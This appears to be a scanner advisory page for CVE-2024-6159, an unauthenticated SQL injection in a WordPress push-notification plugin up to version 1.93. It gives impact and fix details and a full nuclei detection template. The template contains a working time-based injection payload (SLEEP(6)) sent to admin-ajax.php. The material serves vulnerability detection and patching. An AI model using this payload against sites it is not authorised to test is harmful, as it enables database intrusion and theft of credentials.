Push Notification for Post and BuddyPress <= 1.93 - SQL Injection

criticalseverity

10CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to SQL Injection via the 'onesignal_externalid' and 'onesignal_get_subscriptionoptions_id' paramters in all versions up to, and including, 1.93 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute SQL injection attacks to extract sensitive database information including user credentials, subscriber data, and configuration details.

Fix

Update Push Notification for Post and BuddyPress plugin to version 1.94 or later to address the SQL injection vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/push-notification-for-post-and-buddypress")
Send: @timeout 50s
Positive when: duration>=6 and contains(content_type,"text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6159 -u <target>

The full check

id: CVE-2024-6159

info:
  name: Push Notification for Post and BuddyPress <= 1.93 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to SQL Injection via the 'onesignal_externalid' and 'onesignal_get_subscriptionoptions_id' paramters in all versions up to, and including, 1.93 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute SQL injection attacks to extract sensitive database information including user credentials, subscriber data, and configuration details.
  remediation: |
    Update Push Notification for Post and BuddyPress plugin to version 1.94 or later to address the SQL injection vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/push-notification-for-post-and-buddypress/push-notification-for-post-and-buddypress-193-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/de20ebda-b0bc-489e-a8d3-e9487a2b48e8/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-6159
    epss-score: 0.02789
    epss-percentile: 0.8653
  metadata:
    verified: true
    max-request: 2
    framework: wordpress
    publicwww-query: "/wp-content/plugins/push-notification-for-post-and-buddypress"
  tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,push-notification,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/push-notification-for-post-and-buddypress")'
        internal: true

  - raw:
      - |
        @timeout 50s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=icpushcallback&onesignal_externalid=1+AND+SLEEP(6)&pushtype=onesignal_subscribed_users

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(content_type,"text/html")'
          - 'status_code == 200'
        condition: and

References

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